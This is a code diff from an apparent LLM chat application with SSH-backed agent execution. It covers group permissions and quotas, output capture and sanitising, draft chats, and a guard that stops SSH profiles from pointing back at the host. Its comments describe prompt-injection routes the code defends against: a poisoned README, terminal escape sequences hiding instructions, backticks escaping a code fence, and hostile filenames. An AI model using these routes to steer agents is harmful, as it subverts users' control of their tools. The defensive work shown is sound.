+    X?" meant opening every group they belong to and reading the grids by eye --
+    which is exactly the simulation the union rule exists to avoid needing.
+
+    `source` is "admin" (bypassing everything), "baseline", or the names of the
+    groups that granted it. A permission that is off has no source, because
+    nothing granted it -- there is no such thing as a deny here to point at.
+    """
+    keys = PERMISSION_KEYS
+    if user is None:
+        return {key: {"on": False, "source": []} for key in keys}
+    if user.is_admin:
+        return {key: {"on": True, "source": ["admin"]} for key in keys}
+
+    baseline = baseline_permissions(db)
+    out: dict[str, dict] = {}
+    for key in keys:
+        sources = ["baseline"] if baseline.get(key) else []
+        sources += [
+            group.name for group in user.groups if (group.permissions_json or {}).get(key)
+        ]
+        out[key] = {"on": bool(sources), "source": sources}
+    return out
+
+
+# --- Quotas -------------------------------------------------------------------
+# What a group may raise, and what each number means. Every one of them is
+# **zero for no limit**, which is the convention `max_completion_tokens` and
+# `index_chars` already use here, and it is what makes "unlimited" sayable at all.
+#
+# Five axes rather than one, because they fail differently and a single "budget"
+# would have to pick an exchange rate between a token and a minute of somebody's
+# GPU. There isn't one.
+LIMIT_DEFS: tuple[tuple[str, str, str], ...] = (
+    (
+        "monthly_tokens",
+        "Tokens a month",
+        "Prompt and completion together, across every chat, reset on the first "
+        "of the month. Reached, a reply says so before it spends anything "
+        "rather than stopping half way through.",
+    ),
+    (
+        "concurrent_replies",
+        "Replies at once",
+        "How many of their chats may be writing at the same time. This is the "
+        "one that stops one person queueing every other person's work behind "
+        "them on a single endpoint.",
+    ),
+    (
+        "agent_seconds",
+        "Longest agent reply",
+        "Seconds of wall clock for one reply in an agent chat, if lower than "
+        "the instance's own. Waiting for somebody to approve something does "
+        "not count.",
+    ),
+    (
+        "images_per_day",
+        "Images a day",
+        "Each one is a minute of somebody's GPU and no tokens at all, so a "
+        "token budget says nothing about it.",
+    ),
+    (
+        "helpers_per_reply",
+        "Helpers per reply",
+        "How many subagents one reply may send, if lower than the instance's "
+        "own.",
+    ),
+)
+
+LIMIT_KEYS = tuple(key for key, _, _ in LIMIT_DEFS)
+
+# Nobody is limited until somebody says so. A quota that arrived with an upgrade
+# and started refusing replies would be the worst possible way to introduce one.
+NO_LIMITS: dict[str, int] = dict.fromkeys(LIMIT_KEYS, 0)
+
+
+def limits_for(db: DBSession, user: User | None) -> dict[str, int]:
+    """What this user may spend, resolved across their groups.
+
+    **By maximum**, which is the union rule applied to numbers: being in a second
+    group can only ever grant more, never less. That is the same promise the
+    permissions make, and having one of the two work the other way round is how
+    "why can this person not do X" stops being answerable.
+
+    **Zero wins outright**, because zero means "no limit". Taking the plain
+    maximum would make a group saying "unlimited" count for less than one saying
+    "a million", which is the union rule inverted for exactly one value -- and it
+    is the value somebody sets when they mean *stop limiting this person*.
+
+    An administrator is unlimited, for the reason `resolve` gives them every
+    permission: they can raise their own quota in two clicks, and pretending
+    otherwise is theatre.
+    """
+    if user is None or user.is_admin:
+        return dict(NO_LIMITS)
+
+    resolved = dict(NO_LIMITS)
+    for key in LIMIT_KEYS:
+        values = []
+        for group in user.groups:
+            raw = (group.limits_json or {}).get(key)
+            if raw is None:
+                continue  # no opinion, contributes nothing
+            try:
+                values.append(max(0, int(raw)))
+            except (TypeError, ValueError):
+                continue
+        if not values or 0 in values:
+            resolved[key] = 0
+        else:
+            resolved[key] = max(values)
+    return resolved
+
+
+def limit(db: DBSession, user: User | None, key: str) -> int:
+    return limits_for(db, user).get(key, 0)
+
+
+def models_visible_to(db: DBSession, user: User | None) -> list[Model]:
+    """Models a user may start a chat with, in display order.
+
+    A model is visible when it is enabled, its connection is enabled, and
+    either it is public or the user belongs to one of its groups.
+    """
+    query = (
+        select(Model)
+        .join(Connection)
+        .where(Model.enabled.is_(True), Connection.enabled.is_(True))
+        .order_by(Model.position, Model.model_id)
+    )
+    candidates = list(db.scalars(query))
+
+    if user is not None and user.is_admin:
+        return candidates
+
+    if user is None:
+        return []
+
+    member_of = {group.id for group in user.groups}
+    return [
+        model
+        for model in candidates
+        if model.public or member_of.intersection({g.id for g in model.groups})
+    ]
+
+
+def can_use_model(db: DBSession, user: User | None, model_id: str) -> bool:
+    return any(model.model_id == model_id for model in models_visible_to(db, user))

src/lembas/services/agent/__init__.py

@@ -0,0 +1,36 @@
+"""Agentic execution: running commands and touching files on the model's behalf.
+
+Four parts, and the split is the safety argument. `policy` decides what may
+happen without asking and knows nothing about how anything runs. `base` is the
+interface a target implements. `local` runs on this machine inside a bubblewrap
+sandbox that cannot see the database or the encryption key; `ssh` runs on
+somebody else's machine, where nothing is sandboxed and the credential is the
+whole of the trust.
+
+The mode is enforced in the generation loop, not in the prompt. A model is told
+which mode it is in so it can behave sensibly, but being told is not what stops
+it: everything it reads is untrusted, and a rule written only into a system
+message is a rule a poisoned README can argue with.
+"""
+
+from lembas.services.agent.policy import (
+    MODE_AUTO,
+    MODE_EDIT,
+    MODE_MANUAL,
+    MODE_PLAN,
+    MODES,
+    Decision,
+    Limits,
+    decide,
+)
+
+__all__ = [
+    "MODES",
+    "MODE_AUTO",
+    "MODE_EDIT",
+    "MODE_MANUAL",
+    "MODE_PLAN",
+    "Decision",
+    "Limits",
+    "decide",
+]

src/lembas/services/agent/base.py

@@ -0,0 +1,196 @@
+"""What an agent chat needs from the machine it acts on.
+
+One interface, currently one implementation. It exists as an interface anyway
+because the *snapshot* is the load-bearing part: a generation outlives the
+request that started it, so everything a runner needs -- the host, the decrypted
+credential, the mode, the project directory -- has to be read while the session
+is open and carried, not looked up later. That is the same reason `Endpoint` is
+a frozen copy of a `Connection` and `ToolContext` holds an owner id rather than
+a `User`.
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass, field
+from typing import Any, Protocol
+
+# What a command may weigh before it is cut off. Per call; the reply also has a
+# total, in policy.Limits.
+DEFAULT_MAX_BYTES = 64 * 1024
+DEFAULT_TIMEOUT = 60.0
+
+# Terminal escape sequences, stripped from anything a command produced. They are
+# inert in escaped HTML, but this text also re-enters the model's context, where
+# they are a known way of hiding instructions, and it may end up in a log a
+# person later cats, where they hijack the terminal.
+_ANSI = re.compile(r"\x1b\[[0-9;?]*[ -/]*[@-~]|\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b[@-Z\\-_]")
+
+
+@dataclass(frozen=True)
+class ExecRequest:
+    """One command to run."""
+
+    command: str
+    cwd: str = ""
+    timeout: float = DEFAULT_TIMEOUT
+    max_bytes: int = DEFAULT_MAX_BYTES
+
+
+@dataclass(frozen=True)
+class ExecResult:
+    """What running it produced.
+
+    `output` is stdout and stderr interleaved, because a shell transcript is
+    what the model needs to read and separating them loses the ordering that
+    makes an error make sense.
+    """
+
+    exit_status: int
+    output: str
+    truncated: bool = False
+    timed_out: bool = False
+    duration_ms: int = 0
+
+    @property
+    def ok(self) -> bool:
+        return self.exit_status == 0 and not self.timed_out
+
+
+class ExecError(Exception):
+    """Nothing could be run at all: the host refused, or the credential did.
+
+    Distinct from a command that ran and failed -- that is an `ExecResult` with
+    a non-zero status, which the model should read and react to. This is the
+    reply not being able to act, which is a message for a person.
+    """
+
+    def __init__(self, message: str) -> None:
+        super().__init__(message)
+        self.message = message
+
+
+@dataclass(frozen=True)
+class Target:
+    """A machine an agent chat acts on, read while the session was open.
+
+    Holds the decrypted credential and nothing else does. `generation` clears it
+    when the reply ends, because a finished `Generation` lingers for five
+    minutes so late followers get the final frames, and a private key should not
+    linger with it.
+    """
+
+    kind: str
+    label: str
+    project_dir: str = ""
+    spec: dict[str, Any] = field(default_factory=dict)
+
+
+@dataclass(frozen=True)
+class RemoteEntry:
+    """One line of a directory listing, with enough to draw it.
+
+    Separate from `list_dir`, which returns bare names and backs the
+    `file_list` tool. That contract is a list of names and must not change
+    under a model mid-conversation, so a picker -- which has to tell a
+    directory from a file before it knows whether the row can be walked into
+    -- gets its own method rather than a widened one.
+    """
+
+    name: str
+    is_dir: bool
+    size: int = 0
+    modified: int = 0
+
+    @property
+    def is_hidden(self) -> bool:
+        return self.name.startswith(".")
+
+
+@dataclass(frozen=True)
+class RemoteFile:
+    """A file as somebody is about to edit it, rather than as a model reads it.
+
+    Separate from what `read_file` returns for the same reason `RemoteEntry` is
+    separate from `list_dir`: the model-facing contract is right for a model and
+    wrong here. `read_file` runs its result through `clean_output`, which strips
+    escape sequences and decodes with errors="replace" -- so a file opened
+    through it and saved back would come out rewritten.
+
+    `binary` means there is nothing safe to put in a textarea, and the tab opens
+    read-only. `truncated` means the same for a different reason: saving back
+    the first 256KB of a larger file is how the rest of it is deleted.
+    """
+
+    text: str
+    size: int = 0
+    mtime: int = 0
+    truncated: bool = False
+    binary: bool = False
+
+    @property
+    def revision(self) -> str:
+        return revision_of(self.mtime, self.size)
+
+
+def revision_of(mtime: int, size: int) -> str:
+    """An opaque token saying which version of a file was read.
+
+    Round-tripped through a hidden field and compared on the way back in. Not a
+    hash: hashing means reading the whole file again on every save, and this
+    catches the case it exists for -- somebody else's editor, a build, a
+    checkout -- without it.
+    """
+    return f"{mtime}:{size}"
+
+
+class Conflict(Exception):
+    """The file moved between being opened and being saved.
+
+    Carries the revision found instead, so the card offering Overwrite has
+    something to compare against.
+    """
+
+    def __init__(self, found: str = "") -> None:
+        super().__init__("That file changed after it was opened.")
+        self.found = found
+
+
+class Executor(Protocol):
+    """How a target is acted on. See `ssh.py`; there is no local variant."""
+
+    async def run(self, request: ExecRequest) -> ExecResult: ...
+
+    async def read_file(self, path: str, *, max_bytes: int) -> str: ...
+
+    async def write_file(self, path: str, text: str) -> int: ...
+
+    async def read_text(self, path: str, *, max_bytes: int) -> RemoteFile: ...
+
+    async def write_text(self, path: str, text: str, *, if_unchanged: str) -> RemoteFile: ...
+
+    async def list_dir(self, path: str) -> list[str]: ...
+
+    async def scan_dir(self, path: str) -> list[RemoteEntry]: ...
+
+
+def clean_output(data: bytes | str, *, limit: int) -> tuple[str, bool]:
+    """Decode, strip escape sequences, and cap. Returns (text, truncated)."""
+    text = data.decode("utf-8", "replace") if isinstance(data, bytes) else data
+    text = _ANSI.sub("", text)
+    if len(text) <= limit:
+        return text, False
+    return text[:limit].rstrip() + "\n… (truncated)", True
+
+
+__all__ = [
+    "DEFAULT_MAX_BYTES",
+    "DEFAULT_TIMEOUT",
+    "ExecError",
+    "ExecRequest",
+    "ExecResult",
+    "Executor",
+    "RemoteEntry",
+    "Target",
+    "clean_output",
+]

src/lembas/services/agent/capture.py

@@ -0,0 +1,164 @@
+"""One command and its output, kept so it can be handed to a model.
+
+Bounded at both ends rather than only the front. A build that fails ten
+megabytes in has the invocation and the configuration at the top and the error
+at the bottom, and either half alone is the wrong half.
+
+Raw bytes are kept and decoded only when somebody asks. Head/tail slicing
+splits UTF-8 characters at will, and `base.clean_output` decodes with
+`errors="replace"`, which is exactly the right handling -- decoding eagerly per
+chunk would be the same mistake the terminal pump already avoids.
+"""
+
+from __future__ import annotations
+
+import re
+import time
+from collections import deque
+from dataclasses import dataclass, field
+
+from lembas.services.agent.base import clean_output
+
+# What one command's output may keep, at each end.
+CAPTURE_HEAD_BYTES = 48 * 1024
+CAPTURE_TAIL_BYTES = 16 * 1024
+# The command line itself. Longer than any command and shorter than a paste.
+CAPTURE_COMMAND_BYTES = 4 * 1024
+# One line of output. A minified bundle on one line is not worth keeping whole.
+MAX_LINE_CHARS = 2000
+
+# C0 except tab and newline, and the C1 block. Not in `clean_output`, which
+# `shell_run` shares: there a control character inside a file's contents is
+# data. Here it is a terminal being driven.
+_CONTROLS = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]")
+
+
+def flatten(text: str) -> str:
+    """What the screen would have shown, from what the wire carried.
+
+    The highest-value transform here by a distance. A progress bar redraws
+    itself by returning to the start of the line and writing again; keeping
+    every state turns two megabytes of `pip install` into two megabytes of
+    spinner in somebody's prompt. Only the last state of a line was ever
+    visible, so only the last state is kept.
+    """
+    lines = []
+    for line in text.replace("\r\n", "\n").split("\n"):
+        if "\r" in line:
+            line = line.rsplit("\r", 1)[-1]
+        lines.append(_CONTROLS.sub("", line)[:MAX_LINE_CHARS])
+    return "\n".join(lines).strip("\n")
+
+
+def fenced(text: str) -> str:
+    """A fence long enough that the content cannot end it early.
+
+    Output containing three backticks would otherwise break out, and everything
+    after it would read to the model as prose rather than as what a machine
+    printed. That is a real injection route and it costs one line to close.
+    """
+    longest = max((len(run) for run in re.findall(r"`+", text)), default=0)
+    ticks = "`" * max(3, longest + 1)
+    return f"{ticks}console\n{text}\n{ticks}"
+
+
+@dataclass
+class Capture:
+    """A command, and as much of its output as is worth keeping."""
+
+    seq: int = 0
+    command: str = ""
+    cwd: str = ""
+    started: float = field(default_factory=time.monotonic)
+    ended: float = 0.0
+    exit_status: int | None = None  # None while it is still running
+
+    head: bytearray = field(default_factory=bytearray)
+    tail: deque[bytes] = field(default_factory=deque)
+    tail_bytes: int = 0
+    dropped: int = 0
+    total: int = 0
+
+    @property
+    def running(self) -> bool:
+        return self.exit_status is None
+
+    @property
+    def duration_ms(self) -> int:
+        end = self.ended or time.monotonic()
+        return int((end - self.started) * 1000)
+
+    def absorb(self, chunk: bytes) -> None:
+        """Keep the front, keep the back, count what fell out of the middle."""
+        self.total += len(chunk)
+        if len(self.head) < CAPTURE_HEAD_BYTES:
+            take = CAPTURE_HEAD_BYTES - len(self.head)
+            self.head += chunk[:take]
+            chunk = chunk[take:]
+            if not chunk:
+                return
+        self.tail.append(chunk)
+        self.tail_bytes += len(chunk)
+        while self.tail_bytes > CAPTURE_TAIL_BYTES and len(self.tail) > 1:
+            gone = self.tail.popleft()
+            self.tail_bytes -= len(gone)
+            self.dropped += len(gone)
+
+    def output(self) -> str:
+        """The kept output as text, with the gap marked if there is one."""
+        head = flatten(clean_output(bytes(self.head), limit=CAPTURE_HEAD_BYTES * 2)[0])
+        if not self.dropped and not self.tail:
+            return head
+        tail = flatten(clean_output(b"".join(self.tail), limit=CAPTURE_TAIL_BYTES * 2)[0])
+        if not self.dropped:
+            return f"{head}\n{tail}" if tail else head
+        gap = f"\n\n… {self.dropped / 1024:,.0f} KB dropped …\n\n"
+        return f"{head}{gap}{tail}"
+
+    def as_text(self, *, label: str) -> str:
+        """The block that goes into a message, attribution and all.
+
+        The sentence sits **outside** the fence and is written here, so nothing
+        the far side printed can forge it, and the `$ ` line is synthesised
+        rather than lifted from the shell -- what the shell echoed carries
+        readline's editing escapes and is not the command.
+        """
+        where = f", in {self.cwd}" if self.cwd else ""
+        if self.running:
+            how = "still running"
+        elif self.exit_status:
+            how = f"exit {self.exit_status}"
+        else:
+            how = "succeeded"
+
+        seconds = self.duration_ms / 1000
+        took = f" after {seconds:.0f}s" if seconds >= 1 else ""
+        body = f"$ {self.command}\n{self.output()}".rstrip()
+        return (
+            f"Ran in the terminal on {label}{where} — {how}{took}:\n\n{fenced(body)}"
+        )
+
+    def summary(self) -> str:
+        """A short label for a chip, never rendered as markup."""
+        command = self.command or "(no command)"
+        if len(command) > 60:
+            command = command[:57] + "…"
+        if self.running:
+            return f"{command} · running"
+        return f"{command} · exit {self.exit_status}"
+
+
+def trim_command(raw: str) -> str:
+    text, _ = clean_output(raw, limit=CAPTURE_COMMAND_BYTES)
+    return _CONTROLS.sub("", text).strip()
+
+
+__all__ = [
+    "CAPTURE_COMMAND_BYTES",
+    "CAPTURE_HEAD_BYTES",
+    "CAPTURE_TAIL_BYTES",
+    "Capture",
+    "fenced",
+    "flatten",
+    "trim_command",
+]

src/lembas/services/agent/draft.py

@@ -0,0 +1,183 @@
+"""A chat that does not exist yet, so its panels can.
+
+Chats are created lazily -- there is no endpoint that makes an empty one, and
+the row appears together with its first message. That is a rule worth keeping:
+an opened-and-abandoned composer should leave nothing behind. But it also meant
+the terminal and the canvas were unavailable on the one screen where you are
+deciding *which machine to work on*, which is exactly when you want to look
+around it first.
+
+A draft is the smallest thing that fixes that: an id, and the three facts the
+panels need behind it. It is not a chat and never becomes one -- when the first
+prompt is sent, a real chat is created and the draft's shell and tabs are
+**adopted** into it, which is a re-key and a copy rather than a promotion.
+
+The id is derived from (owner, connection, directory) rather than invented, so
+that returning to the same new-chat screen finds the same shell and the same
+tabs instead of quietly starting a second one. It is a hash so that neither the
+directory nor the owner is legible in a URL.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import time
+from dataclasses import dataclass, field
+from typing import Any
+
+# How long a draft survives without being touched. Generous, because it is
+# holding somebody's open files while they decide what to do; bounded, because
+# nothing else will ever clean it up -- an abandoned new-chat screen leaves no
+# row to cascade from and no chat to delete.
+IDLE_TIMEOUT = 3600.0
+
+# The prefix a draft id carries. It has to be distinguishable from a chat id at
+# a glance and by code: `Chat.id` is 32 hex characters from `new_id`, so
+# nothing here can collide with one by accident.
+PREFIX = "draft_"
+
+
+@dataclass
+class Draft:
+    """What a draft knows, which is only what the panels ask for."""
+
+    id: str
+    owner_id: str
+    profile_id: str
+    project_dir: str
+    # The canvas's tab strip, in the shape `Chat.canvas_json` holds. In memory
+    # rather than on a row for the obvious reason, and carried onto the chat at
+    # adoption.
+    canvas_json: dict = field(default_factory=dict)
+    touched_at: float = field(default_factory=time.monotonic)
+
+
+_DRAFTS: dict[str, Draft] = {}
+
+
+def is_draft(chat_id: str) -> bool:
+    return bool(chat_id) and chat_id.startswith(PREFIX)
+
+
+def key_for(owner_id: str, profile_id: str, project_dir: str) -> str:
+    """The id for one (owner, connection, directory), stably.
+
+    Derived rather than random so that reopening the new-chat screen on the same
+    target finds the shell that is already running there. The owner is in the
+    hash so that two people pointed at the same directory of the same connection
+    do not share a draft -- they would share a *shell*, and the terminal's own
+    "one chat, one shell" rule is scoped to a person's chats.
+    """
+    material = "\0".join((owner_id, profile_id, project_dir or ""))
+    digest = hashlib.sha256(material.encode("utf-8")).hexdigest()
+    return f"{PREFIX}{digest[:24]}"
+
+
+def remember(owner_id: str, profile_id: str, project_dir: str) -> Draft:
+    """The draft for this target, created if this is the first time."""
+    _sweep()
+    key = key_for(owner_id, profile_id, project_dir)
+    draft = _DRAFTS.get(key)
+    if draft is None:
+        draft = Draft(
+            id=key, owner_id=owner_id, profile_id=profile_id, project_dir=project_dir or ""
+        )
+        _DRAFTS[key] = draft
+    draft.touched_at = time.monotonic()
+    return draft
+
+
+def get(draft_id: str, owner_id: str) -> Draft | None:
+    """One draft, if it is this person's.
+
+    The id is a hash of the owner, so a draft belonging to somebody else cannot
+    be guessed -- but it is checked rather than assumed, because "unguessable"
+    is not an authorisation and the next caller might build the id differently.
+    """
+    draft = _DRAFTS.get(draft_id or "")
+    if draft is None or draft.owner_id != owner_id:
+        return None
+    draft.touched_at = time.monotonic()
+    return draft
+
+
+def forget(draft_id: str) -> None:
+    _DRAFTS.pop(draft_id or "", None)
+
+
+def clear() -> None:
+    _DRAFTS.clear()
+
+
+def as_chat(draft: Draft) -> Any:
+    """A `Chat` the panels can use, constructed and never saved.
+
+    This is the whole trick, and it is worth being precise about why it is safe.
+    `canvas.agent_ready`, `canvas._executor`, `_load_agent`/`_save_agent` and
+    `agent_session.resolve` read exactly four things off a chat -- `user_id`,
+    `kind`, `ssh_profile_id` and `project_dir` -- and none of them passes the
+    chat to a query or writes it back. So a transient row satisfies every one of
+    them unchanged, and no code that already works has to learn what a draft is.
+
+    `id` and `canvas_json` are set explicitly: both are *column* defaults, which
+    SQLAlchemy applies at flush, and this row is never flushed. An unset `id` is
+    not a cosmetic problem -- see `SOURCES_NEEDING_A_CHAT`.
+    """
+    from lembas.db.models import KIND_AGENT, Chat
+
+    return Chat(
+        id=draft.id,
+        user_id=draft.owner_id,
+        kind=KIND_AGENT,
+        ssh_profile_id=draft.profile_id,
+        project_dir=draft.project_dir,
+        canvas_json=dict(draft.canvas_json or {}),
+        agent_mode="",
+        scope_json={},
+    )
+
+
+# Canvas sources a draft may not open, refused by name.
+#
+# `scratch` needs a row: `scratch_service.for_chat` would write a `ScratchDoc`
+# keyed on a chat that does not exist, which is the lazy-creation rule broken
+# outright rather than bent.
+#
+# `file` is the one that matters. `canvas._load_file` authorises with
+# `attachment.chat_id != chat.id`, and an upload made on the new-chat screen is
+# stored with `chat_id=None`. If a draft's chat carried no id, `None != None` is
+# False and every unclaimed attachment its owner has would open from any draft
+# canvas. `as_chat` sets an id, so that comparison already fails -- but relying
+# on it would mean the guarantee lives in an id-shaped coincidence. It is stated
+# here instead, where it can be read and tested.
+SOURCES_NEEDING_A_CHAT = frozenset({"scratch", "file"})
+
+
+def refuses(source: str) -> bool:
+    return source in SOURCES_NEEDING_A_CHAT
+
+
+def _sweep() -> None:
+    """Drop drafts nobody has touched in a long while.
+
+    On write rather than on a timer: a draft holds no connection and no process,
+    only a little state, so there is nothing to close and nothing that leaks by
+    being late. The shell it points at has its own reaper.
+    """
+    cutoff = time.monotonic() - IDLE_TIMEOUT
+    for key in [k for k, d in _DRAFTS.items() if d.touched_at < cutoff]:
+        _DRAFTS.pop(key, None)
+
+
+__all__ = [
+    "SOURCES_NEEDING_A_CHAT",
+    "Draft",
+    "as_chat",
+    "clear",
+    "forget",
+    "get",
+    "is_draft",
+    "key_for",
+    "refuses",
+    "remember",
+]

src/lembas/services/agent/hosts.py

@@ -0,0 +1,249 @@
+"""Whether an SSH connection is allowed to point back at this machine.
+
+The whole design of agent chats rests on one sentence: nothing runs on the host
+LLeMbas is installed on. That is why there is no local sandbox, why local MCP
+over stdio is absent, and why "the security of an agent chat is the security of
+the host behind its profile" is a statement anybody can check.
+
+An SSH profile pointed at `127.0.0.1` walks straight past it. The commands go
+over SSH, through a real login, and every gate in `policy.py` still applies --
+and they land on the machine holding the database, the Fernet key and every
+other user's encrypted credentials. Nothing else in the codebase can tell that
+apart from a container on the network, because from the SSH layer's point of
+view it is not different.
+
+So it is a decision an administrator makes deliberately, in one of three
+positions:
+
+- **off** (the default, including on an instance upgrading into this) -- no
+  connection may point at loopback, and one that already does is refused rather
+  than quietly kept working.
+- **port** -- allowed on exactly one port. This is the position that has a real
+  use: a container that publishes its SSH port on the host's loopback interface
+  is genuinely somewhere else, and `127.0.0.1:2222` is how you reach it. Port 22
+  is refused even here, because that is the host's own sshd.
+- **on** -- allowed anywhere. For somebody who has read the paragraph above and
+  means it.
+
+## Literal or resolved, and never resolved on the request path
+
+Both are checked, at two different moments, and the split is not tidiness.
+
+The literal forms -- `127.0.0.1`, `::1`, `localhost`, anything in
+`127.0.0.0/8` -- are decided from the string with no I/O at all. That is the
+check `refusal` makes, and it is why `refusal` can be called from a page render,
+from `resolve_tools` and from the composer's profile listing.
+
+A *name* that resolves to loopback needs `getaddrinfo`, which is a blocking
+network call, and putting one of those behind a check that runs several times
+per request is how a page render comes to wait out a DNS timeout for a host
+nobody is even talking to. The first version of this file did exactly that and
+the test suite went from two minutes to not finishing. So resolution happens
+**only where a network call is already expected and already awaited** -- saving
+a connection, and pressing Check -- and the answer is written to
+`SshProfile.resolves_here`, which the request path reads for free.
+
+The consequence, stated rather than discovered: a name whose DNS changes to
+point here after it was saved is not noticed until it is saved or checked again.
+That is a real gap and it is the right trade. The alternative is a DNS lookup in
+front of every agent page load, and a guard that makes the application feel
+broken is a guard somebody turns off.
+
+A refusal is never silent. Every caller that has somewhere to put a sentence
+puts this one there, because "this connection cannot be used" with no reason is
+indistinguishable from a bug.
+"""
+
+from __future__ import annotations
+
+import ipaddress
+import logging
+import socket
+from typing import TYPE_CHECKING
+
+if TYPE_CHECKING:  # pragma: no cover - typing only
+    from sqlalchemy.orm import Session as DBSession
+
+    from lembas.db.models import SshProfile
+
+log = logging.getLogger(__name__)
+
+MODE_OFF = "off"
+MODE_PORT = "port"
+MODE_ON = "on"
+MODES = (MODE_OFF, MODE_PORT, MODE_ON)
+
+MODE_LABELS = {
+    MODE_OFF: "Never",
+    MODE_PORT: "Only on one port",
+    MODE_ON: "Anywhere",
+}
+MODE_HINTS = {
+    MODE_OFF: (
+        "A connection to this machine is refused, and an existing one stops "
+        "working. This is what keeps “nothing runs on the LLeMbas host” true."
+    ),
+    MODE_PORT: (
+        "For a container that publishes its SSH port on this machine's loopback "
+        "interface. Name that port; everything else here is still refused, and "
+        "port 22 is refused regardless, because that one is this host's own sshd."
+    ),
+    MODE_ON: (
+        "Any port on this machine. Commands then run beside the database and the "
+        "encryption key, with whatever the login account can reach."
+    ),
+}
+
+# The host's own sshd, and never what somebody means by "the container on 2222".
+HOST_SSH_PORT = 22
+
+
+def _literal(host: str) -> bool | None:
+    """True/False when the host decides itself, None when it needs resolving."""
+    text = (host or "").strip().strip("[]").lower()
+    if not text:
+        return False
+    # Not a real hostname anywhere, and the one everybody types.
+    if text in ("localhost", "localhost.localdomain", "ip6-localhost", "ip6-loopback"):
+        return True
+    try:
+        address = ipaddress.ip_address(text)
+    except ValueError:
+        return None
+    # `is_unspecified` as well as `is_loopback`, because `0.0.0.0` and `::` are
+    # neither a real destination nor a refused one: connect() to either goes to
+    # loopback on Linux, so an SSH profile pointed at `0.0.0.0` reached this
+    # host's own sshd. `is_loopback` alone answered a decided **False**, which
+    # also short-circuited `resolves_here`, so the DNS half never ran either --
+    # the one spelling of "this machine" that walked past a guard whose whole
+    # job is that sentence.
+    return address.is_loopback or address.is_unspecified
+
+
+def is_loopback(host: str) -> bool:
+    """Whether this host *string* reaches the machine LLeMbas is running on.
+
+    No I/O, ever. A name is answered False here and settled by `resolves_here`
+    at the two moments a lookup is affordable -- see the module docstring; the
+    version of this that resolved inline made every agent page wait on DNS.
+    """
+    return bool(_literal(host))
+
+
+def resolves_here(host: str) -> bool:
+    """The same question for a name, by resolving it. Blocking; call sparingly.
+
+    Resolution failure is answered **False**: a name that does not resolve is not
+    a name pointing here, and refusing it would turn every DNS hiccup into "your
+    connection is on this machine", which is both wrong and confusing. The
+    connection itself will fail on its own terms a moment later.
+    """
+    decided = _literal(host)
+    if decided is not None:
+        return decided
+
+    try:
+        for entry in socket.getaddrinfo((host or "").strip().lower(), None):
+            if _literal(str(entry[4][0])):
+                return True
+    except OSError:
+        return False
+    return False
+
+
+def policy(db: DBSession) -> tuple[str, int]:
+    """The configured position, and the port that goes with `port`."""
+    from lembas.services import settings_store
+
+    values = settings_store.agents(db)
+    mode = str(values.get("loopback") or MODE_OFF)
+    if mode not in MODES:
+        mode = MODE_OFF
+    try:
+        port = int(values.get("loopback_port") or 0)
+    except (TypeError, ValueError):
+        port = 0
+    return mode, port
+
+
+def refusal(db: DBSession, host: str, port: int, *, resolved: bool = False) -> str:
+    """Why this host and port may not be used, or "" if they may.
+
+    A sentence rather than a boolean, because every caller has somewhere to show
+    one and a connection that is unavailable for no stated reason reads as a
+    fault in the application.
+
+    `resolved` is what a stored profile's `resolves_here` column carries in: the
+    string said nothing, and a lookup made earlier said yes.
+    """
+    if not (resolved or is_loopback(host)):
+        return ""
+
+    mode, allowed = policy(db)
+    if mode == MODE_ON:
+        return ""
+    if mode == MODE_PORT:
+        if allowed and port == allowed and port != HOST_SSH_PORT:
+            return ""
+        if allowed:
+            return (
+                f"This connection points at this machine, which is only allowed "
+                f"on port {allowed}. An administrator sets that on the Agents page."
+            )
+        return (
+            "This connection points at this machine, which is allowed only on a "
+            "port an administrator has named — and none has been."
+        )
+    return (
+        "This connection points at the machine LLeMbas itself runs on, which an "
+        "administrator has not allowed. Agent chats are meant to reach a "
+        "different host; running here would put the commands beside the database "
+        "and the encryption key."
+    )
+
+
+def refusal_for(db: DBSession, profile: SshProfile | None) -> str:
+    """The same answer for a stored profile, with no lookup.
+
+    `resolves_here` is the verdict recorded the last time somebody saved or
+    checked this connection. Reading it is what keeps this callable from a page
+    render.
+    """
+    if profile is None:
+        return ""
+    return refusal(
+        db, profile.host, profile.port, resolved=bool(getattr(profile, "resolves_here", False))
+    )
+
+
+def usable(db: DBSession, profile: SshProfile | None) -> bool:
+    return not refusal_for(db, profile)
+
+
+def restamp(profile: SshProfile) -> bool:
+    """Record whether this profile's host resolves to loopback, and return it.
+
+    Called where a network call is already happening -- saving a connection, and
+    Check. The column is the request path's only way of knowing about a *name*,
+    so a save that skips this leaves the guard reading a stale answer.
+    """
+    profile.resolves_here = resolves_here(profile.host)
+    return profile.resolves_here
+
+
+__all__ = [
+    "HOST_SSH_PORT",
+    "MODES",
+    "MODE_HINTS",
+    "MODE_LABELS",
+    "MODE_OFF",
+    "MODE_ON",
+    "MODE_PORT",
+    "is_loopback",
+    "policy",
+    "refusal",
+    "refusal_for",
+    "resolves_here",
+    "restamp",
+    "usable",
+]

src/lembas/services/agent/index.py

@@ -0,0 +1,528 @@
+"""What is in a project directory, for the picker and for the model.
+
+Two things want this list. The `@` picker needs something to filter, and a
+model working in a directory should know roughly what is in it rather than
+spending its first two rounds finding out. Both want the same walk, so it
+happens once and is cached.
+
+**Three ways of getting it, in order.** `git ls-files` first, because most
+project directories are repositories and it applies `.gitignore` for free --
+without which the answer for a Node project is forty thousand paths under
+`node_modules`. Then `find`, with the usual noise pruned by hand. Then a
+recursive SFTP walk, which always works and costs a round trip per directory.
+
+**Two commands run here, and neither goes through `agent/policy.py`.** That is
+deliberate and it is the same argument the terminal panel and the directory
+browser rest on: this is LLeMbas listing a directory on somebody's behalf, not
+a model choosing to run something. Both are read-only, both are built here
+rather than assembled from anything a model said, and the project directory is
+configuration rather than input. It is still an exception to Manual mode's
+"everything is shown to you before it happens", and it is written down in
+CLAUDE.md next to the others.
+
+**Nothing here is trusted.** Filenames come off somebody else's machine and end
+up inside a system prompt, so they are stripped of control characters, capped
+in length, capped in number, and never interpreted.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import logging
+import re
+import time
+from dataclasses import dataclass, field
+
+from lembas.services.agent.base import ExecError, ExecRequest, Executor
+
+log = logging.getLogger(__name__)
+
+# How many paths are kept. Past this the index says it was truncated, which the
+# rendering repeats to the model -- "there is nothing else here" and "I stopped
